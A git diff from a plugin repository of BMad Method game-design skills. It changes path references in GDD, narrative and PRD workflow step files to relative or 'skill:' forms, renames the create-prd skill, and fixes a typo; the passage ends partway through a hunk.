diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-12-epics.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-12-epics.md
similarity index 96%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-12-epics.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-12-epics.md
index b337d94..870676d 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-12-epics.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-12-epics.md
@@ -3,7 +3,7 @@ name: 'step-12-epics'
 description: 'Define development epics and high-level story breakdown'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-12-epics.md'
@@ -13,8 +13,8 @@ outputFile: '{output_folder}/gdd.md'
 epicsOutputFile: '{output_folder}/epics.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 12: Epic Structure
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-13-metrics.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-13-metrics.md
similarity index 96%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-13-metrics.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-13-metrics.md
index 3ae1265..8a74dba 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-13-metrics.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-13-metrics.md
@@ -3,7 +3,7 @@ name: 'step-13-metrics'
 description: 'Define success metrics for technical and gameplay evaluation'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-13-metrics.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 13: Success Metrics
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-14-complete.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-14-complete.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-14-complete.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-14-complete.md
index cc13784..e926e75 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-14-complete.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-14-complete.md
@@ -3,7 +3,7 @@ name: 'step-14-complete'
 description: 'Document out of scope items, capture assumptions, and provide handoff guidance'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-14-complete.md'
@@ -12,8 +12,8 @@ outputFile: '{output_folder}/gdd.md'
 epicsFile: '{output_folder}/epics.md'
 
 # Workflow References
-narrativeWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative/SKILL.md'
-architectureWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture/SKILL.md'
+narrativeWorkflow: 'skill:gds-create-narrative'
+architectureWorkflow: 'skill:gds-game-architecture'
 ---
 
 # Step 14: Complete & Handoff
diff --git a/plugins/bmad/skills/gds-create-narrative/SKILL.md b/plugins/bmad/skills/gds-create-narrative/SKILL.md
index 2bae93f..914caff 100644
--- a/plugins/bmad/skills/gds-create-narrative/SKILL.md
+++ b/plugins/bmad/skills/gds-create-narrative/SKILL.md
@@ -3,4 +3,4 @@ name: gds-create-narrative
 description: 'Create comprehensive narrative documentation with story structure and world-building. Use when the user says "narrative design" or "create narrative"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-01-init.md b/plugins/bmad/skills/gds-create-narrative/steps/step-01-init.md
index 0dec062..22376e1 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-01-init.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-01-init.md
@@ -3,7 +3,7 @@ name: 'step-01-init'
 description: 'Initialize narrative workflow, load GDD context, and assess narrative complexity'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01-init.md'
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-01b-continue.md b/plugins/bmad/skills/gds-create-narrative/steps/step-01b-continue.md
index f2467a4..353dd1b 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-01b-continue.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-01b-continue.md
@@ -3,7 +3,7 @@ name: 'step-01b-continue'
 description: 'Continue an existing narrative workflow from where it left off'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01b-continue.md'
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-02-foundation.md b/plugins/bmad/skills/gds-create-narrative/steps/step-02-foundation.md
index 63e34ee..b334832 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-02-foundation.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-02-foundation.md
@@ -3,7 +3,7 @@ name: 'step-02-foundation'
 description: 'Define narrative premise, themes, tone, and story structure'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-02-foundation.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2: Story Foundation
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-03-story.md b/plugins/bmad/skills/gds-create-narrative/steps/step-03-story.md
index b456cb8..fe56ce5 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-03-story.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-03-story.md
@@ -3,7 +3,7 @@ name: 'step-03-story'
 description: 'Define major story beats and narrative pacing'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-03-story.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 3: Story Beats
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-04-characters.md b/plugins/bmad/skills/gds-create-narrative/steps/step-04-characters.md
index 0e877dc..9aa88a6 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-04-characters.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-04-characters.md
@@ -3,7 +3,7 @@ name: 'step-04-characters'
 description: 'Develop all characters including protagonists, antagonists, supporting cast, and their arcs'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-04-characters.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 4: Characters
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-05-world.md b/plugins/bmad/skills/gds-create-narrative/steps/step-05-world.md
index 3983688..65c8ed6 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-05-world.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-05-world.md
@@ -3,7 +3,7 @@ name: 'step-05-world'
 description: 'Build the world including setting, history, factions, and key locations'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-05-world.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 5: World Building
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-06-dialogue.md b/plugins/bmad/skills/gds-create-narrative/steps/step-06-dialogue.md
index ca465ed..fad4654 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-06-dialogue.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-06-dialogue.md
@@ -3,7 +3,7 @@ name: 'step-06-dialogue'
 description: 'Define dialogue style, key conversations, and branching systems'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-06-dialogue.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 6: Dialogue Systems
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-07-environmental.md b/plugins/bmad/skills/gds-create-narrative/steps/step-07-environmental.md
index cf6f287..2149f8e 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-07-environmental.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-07-environmental.md
@@ -3,7 +3,7 @@ name: 'step-07-environmental'
 description: 'Plan environmental storytelling including visual, audio, and found documents'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-07-environmental.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 7: Environmental Storytelling
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-08-delivery.md b/plugins/bmad/skills/gds-create-narrative/steps/step-08-delivery.md
index 5675ec1..1047a14 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-08-delivery.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-08-delivery.md
@@ -3,7 +3,7 @@ name: 'step-08-delivery'
 description: 'Design narrative delivery methods including cutscenes, in-game storytelling, and endings'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-08-delivery.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 8: Narrative Delivery
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-09-integration.md b/plugins/bmad/skills/gds-create-narrative/steps/step-09-integration.md
index cc7050f..bd02782 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-09-integration.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-09-integration.md
@@ -3,7 +3,7 @@ name: 'step-09-integration'
 description: 'Define how narrative integrates with gameplay including gating, agency, and ludonarrative harmony'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-09-integration.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 9: Gameplay Integration
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-10-production.md b/plugins/bmad/skills/gds-create-narrative/steps/step-10-production.md
index 953a082..5d942e8 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-10-production.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-10-production.md
@@ -3,7 +3,7 @@ name: 'step-10-production'
 description: 'Plan production scope including writing estimates, localization, and voice acting'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-10-production.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 10: Production Planning
diff --git a/plugins/bmad/skills/gds-create-narrative/steps/step-11-complete.md b/plugins/bmad/skills/gds-create-narrative/steps/step-11-complete.md
index a7aa4db..1b113f2 100644
--- a/plugins/bmad/skills/gds-create-narrative/steps/step-11-complete.md
+++ b/plugins/bmad/skills/gds-create-narrative/steps/step-11-complete.md
@@ -3,7 +3,7 @@ name: 'step-11-complete'
 description: 'Complete the narrative workflow with final summary, visualizations, and handoff'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-narrative'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-11-complete.md'
@@ -11,7 +11,7 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/narrative-design.md'
 
 # Handoff References
-architectureWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture/SKILL.md'
+architectureWorkflow: 'skill:gds-game-architecture'
 ---
 
 # Step 11: Complete
diff --git a/plugins/bmad/skills/gds-create-prd/SKILL.md b/plugins/bmad/skills/gds-create-prd/SKILL.md
new file mode 100644
index 0000000..d3ba803
--- /dev/null
+++ b/plugins/bmad/skills/gds-create-prd/SKILL.md
@@ -0,0 +1,6 @@
+---
+name: gds-create-prd
+description: 'Create a PRD from a GDD or from scratch, for use with external tools like bmad-assist. Use when the user says "create a PRD" or "I want to create a new product requirements document".'
+---
+
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/create-prd/data/domain-complexity.csv b/plugins/bmad/skills/gds-create-prd/data/domain-complexity.csv
similarity index 100%
rename from plugins/bmad/skills/create-prd/data/domain-complexity.csv
rename to plugins/bmad/skills/gds-create-prd/data/domain-complexity.csv
diff --git a/plugins/bmad/skills/create-prd/data/prd-purpose.md b/plugins/bmad/skills/gds-create-prd/data/prd-purpose.md
similarity index 99%
rename from plugins/bmad/skills/create-prd/data/prd-purpose.md
rename to plugins/bmad/skills/gds-create-prd/data/prd-purpose.md
index 755230b..d8b334b 100644
--- a/plugins/bmad/skills/create-prd/data/prd-purpose.md
+++ b/plugins/bmad/skills/gds-create-prd/data/prd-purpose.md
@@ -1,6 +1,6 @@
 # BMAD PRD Purpose
 
-**The PRD is the top of the required funnel that feeds all subsequent product development work in rhw BMad Method.**
+**The PRD is the top of the required funnel that feeds all subsequent product development work in the BMad Method.**
 
 ---
 
diff --git a/plugins/bmad/skills/create-prd/data/project-types.csv b/plugins/bmad/skills/gds-create-prd/data/project-types.csv
similarity index 100%
rename from plugins/bmad/skills/create-prd/data/project-types.csv
rename to plugins/bmad/skills/gds-create-prd/data/project-types.csv
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-01-init.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-01-init.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-c/step-01-init.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-01-init.md
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-01b-continue.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-01b-continue.md
similarity index 96%
rename from plugins/bmad/skills/create-prd/steps-c/step-01b-continue.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-01b-continue.md
index 2c38d58..d4ae291 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-01b-continue.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-01b-continue.md
@@ -79,8 +79,8 @@ Review the frontmatter to understand:
 **Example:**
 - If `stepsCompleted = ["step-01-init.md", "step-02-discovery.md", "step-03-success.md"]`
 - Last element is `"step-03-success.md"`
-- Load `${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-03-success.md`, read its frontmatter
-- Read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-04-journeys.md`
+- Load `./step-03-success.md`, read its frontmatter
+- Read fully and follow: `./step-04-journeys.md`
 
 ### 4. Handle Workflow Completion
 
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-02-discovery.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-02-discovery.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-c/step-02-discovery.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-02-discovery.md
index 96c2baa..db53366 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-02-discovery.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-02-discovery.md
@@ -3,7 +3,7 @@ name: 'step-02-discovery'
 description: 'Discover project type, domain, and context through collaborative dialogue'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-02b-vision.md'
+nextStepFile: './step-02b-vision.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Data Files
@@ -12,7 +12,7 @@ domainComplexityCSV: '../data/domain-complexity.csv'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2: Project Discovery
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-02b-vision.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-02b-vision.md
similarity index 97%
rename from plugins/bmad/skills/create-prd/steps-c/step-02b-vision.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-02b-vision.md
index 3c3f1db..58b800a 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-02b-vision.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-02b-vision.md
@@ -3,12 +3,12 @@ name: 'step-02b-vision'
 description: 'Discover the product vision and differentiator through collaborative dialogue'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-02c-executive-summary.md'
+nextStepFile: './step-02c-executive-summary.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2b: Product Vision Discovery
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-02c-executive-summary.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-02c-executive-summary.md
similarity index 97%
rename from plugins/bmad/skills/create-prd/steps-c/step-02c-executive-summary.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-02c-executive-summary.md
index df30c1c..dd1bb73 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-02c-executive-summary.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-02c-executive-summary.md
@@ -3,12 +3,12 @@ name: 'step-02c-executive-summary'
 description: 'Generate and append the Executive Summary section to the PRD document'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-03-success.md'
+nextStepFile: './step-03-success.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2c: Executive Summary Generation
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-03-success.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-03-success.md
similarity index 96%
rename from plugins/bmad/skills/create-prd/steps-c/step-03-success.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-03-success.md
index d586d8f..f702c19 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-03-success.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-03-success.md
@@ -3,12 +3,12 @@ name: 'step-03-success'
 description: 'Define comprehensive success criteria covering user, business, and technical success'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-04-journeys.md'
+nextStepFile: './step-04-journeys.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 3: Success Criteria Definition
@@ -221,6 +221,6 @@ If working in regulated domains (healthcare, fintech, govtech):
 
 ## NEXT STEP:
 
-After user selects 'C' and content is saved to document, load `${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-04-journeys.md` to map user journeys.
+After user selects 'C' and content is saved to document, load `./step-04-journeys.md` to map user journeys.
 
 Remember: Do NOT proceed to step-04 until user explicitly selects 'C' from the A/P/C menu and content is saved!
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-04-journeys.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-04-journeys.md
similarity index 96%
rename from plugins/bmad/skills/create-prd/steps-c/step-04-journeys.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-04-journeys.md
index 74fe423..67df2a5 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-04-journeys.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-04-journeys.md
@@ -3,12 +3,12 @@ name: 'step-04-journeys'
 description: 'Map ALL user types that interact with the system with narrative story-based journeys'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-05-domain.md'
+nextStepFile: './step-05-domain.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 4: User Journey Mapping
@@ -208,6 +208,6 @@ When user selects 'C', append the content directly to the document using the str
 
 ## NEXT STEP:
 
-After user selects 'C' and content is saved to document, load `${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-05-domain.md`.
+After user selects 'C' and content is saved to document, load `./step-05-domain.md`.
 
 Remember: Do NOT proceed to step-05 until user explicitly selects 'C' from the A/P/C menu and content is saved!
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-05-domain.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-05-domain.md
similarity index 96%
rename from plugins/bmad/skills/create-prd/steps-c/step-05-domain.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-05-domain.md
index d6b596a..49640ff 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-05-domain.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-05-domain.md
@@ -3,13 +3,13 @@ name: 'step-05-domain'
 description: 'Explore domain-specific requirements for complex domains (optional step)'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-06-innovation.md'
+nextStepFile: './step-06-innovation.md'
 outputFile: '{planning_artifacts}/prd.md'
-domainComplexityCSV: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/domain-complexity.csv'
+domainComplexityCSV: '../data/domain-complexity.csv'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 5: Domain-Specific Requirements (Optional)
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-06-innovation.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-06-innovation.md
similarity index 97%
rename from plugins/bmad/skills/create-prd/steps-c/step-06-innovation.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-06-innovation.md
index c9fd32d..5e56a37 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-06-innovation.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-06-innovation.md
@@ -3,15 +3,15 @@ name: 'step-06-innovation'
 description: 'Detect and explore innovative aspects of the product (optional step)'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-07-project-type.md'
+nextStepFile: './step-07-project-type.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Data Files
-projectTypesCSV: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/project-types.csv'
+projectTypesCSV: '../data/project-types.csv'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 6: Innovation Discovery
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-07-project-type.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-07-project-type.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-c/step-07-project-type.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-07-project-type.md
index cff0d46..2709774 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-07-project-type.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-07-project-type.md
@@ -3,7 +3,7 @@ name: 'step-07-project-type'
 description: 'Conduct project-type specific discovery using CSV-driven guidance'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-08-scoping.md'
+nextStepFile: './step-08-scoping.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Data Files
@@ -11,7 +11,7 @@ projectTypesCSV: '../data/project-types.csv'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 7: Project-Type Deep Dive
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-08-scoping.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-08-scoping.md
similarity index 60%
rename from plugins/bmad/skills/create-prd/steps-c/step-08-scoping.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-08-scoping.md
index 0e39bec..8df7dcb 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-08-scoping.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-08-scoping.md
@@ -1,17 +1,17 @@
 ---
 name: 'step-08-scoping'
-description: 'Define MVP boundaries and prioritize features across development phases'
+description: 'Define release boundaries (phased or single-release) and prioritize features based on user preference'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-09-functional.md'
